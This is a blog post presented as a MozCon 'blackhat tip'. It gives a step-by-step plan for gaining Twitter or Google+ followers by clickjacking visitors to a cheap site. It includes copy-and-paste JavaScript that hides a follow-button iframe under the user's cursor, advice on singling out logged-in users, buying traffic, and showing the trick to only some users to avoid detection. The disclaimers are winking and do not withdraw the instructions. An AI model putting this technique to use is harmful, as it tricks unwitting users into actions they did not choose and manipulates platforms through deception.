Hey folks,
a bit of a quick and dirty post here, very little prep has gone into this, and the whole point is that I have to have a “give it up” tip at MozCon 2012, and as I didn’t speak about any nefarious or blackhat techniques, here it is!
How to get 100k (real) followers on twitter (or G+ circle adds, probably a better idea for SERPS) for $500.
The concept is simple – both twitter and G+ offer one click follow or add to circle functionality via JS. You will have seen the twitter button before, but if you havent here it is:
OK – so here’s the thing… If you are logged into twitter, and you click that button above, you auto-follow my account. There is NO warning that you have followed that account, unless ofcourse you look at your follow list…
Now – all we need to do is find a way to transparently present this button to lots of users, logged into twitter, and get them to click it.
HOW?
Well, back in the mists of time, a common blackhat technique was click-jacking for adsense. Now this stuff isnt legit folks, and cheating google or anyone else out of money this way is NOT ethical, and I DO NOT suggest you do. You should however be aware of how this stuff works 😉
Remember though: if you were to use this technique to boost adsense clicks, you are cheating the ADVERTISERS out of their dollars, so its certainly not a victimless crime.
So – here is how it works:
1) launch a site. Any site. As long as it makes some sense that people would use it. My favourite idea for this would be something like a meme site, you can get php scripts to build this kind of site out for less than $50.
2) identify which visitors are logged into twitter/G+/facebook etc. – you can do this using a technique written about in much better detail that I will go into here by a friend of mine and allround top SEO bloke, Tom Anthony
3) serve the users logged into the social network of your choice, the follow button – but here is the click jack trick: you should place the button directly underneath the mouse pointer using javascript, on a layer with the opacity set to zero. What happens is wherever the user moves the mouse, the follow button is rendered beneath it invisibly – meaning that wherever the user clicks, they follow you on twitter or add you to a circle. You can see someone else’s example of this working, with the opacity set to 40% to give you an idea how it works here.
4) if you want to EXPERIMENT with this technique, here is a convenient copy and paste:
if (!document.getElementsByClassName){ document.getElementsByClassName = function(classname){ for (i=0; i < document.getElementsByTagName("*").length; i++) { if (document.getElementsByTagName("*").item(i).className == classname){ return new Array(document.getElementsByTagName("*").item(i)); } } } } var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0]; twitterFollowIframe.style.position = 'absolute'; twitterFollowIframe.style.opacity = '0.2'; twitterFollowIframe.style.filter = 'alpha(opacity=20)'; document.onmousemove = function(e){ if ( !e ) e = window.event; twitterFollowIframe.style.left = e.clientX - 20; twitterFollowIframe.style.top = e.clientY - 10;5) send some cheap traffic its way – if you havent got a quick way of doing this, then you could just buy some stumbleupon traffic ($0.05 per click). If you send the traffic to a site with some good content which lends itself to sharing, then it may well go viral – at the least it will deliver say 1.5-3x more visitors than clicks you pay for.
6) If I were going to do this, I would only expose the clickjack to say 20% of users that are logged in.
disclaimer time.
1) I havent done this – I dont suggest you do it. This post is entirely academic and intended as an educational tool as to what you could do.
2) DO NOT USE THIS TECHNIQUE for anything money related.
3) dont be surprised if twitter or any other social network ban you if you get caught.
4) I never told you how to it ok? 😉
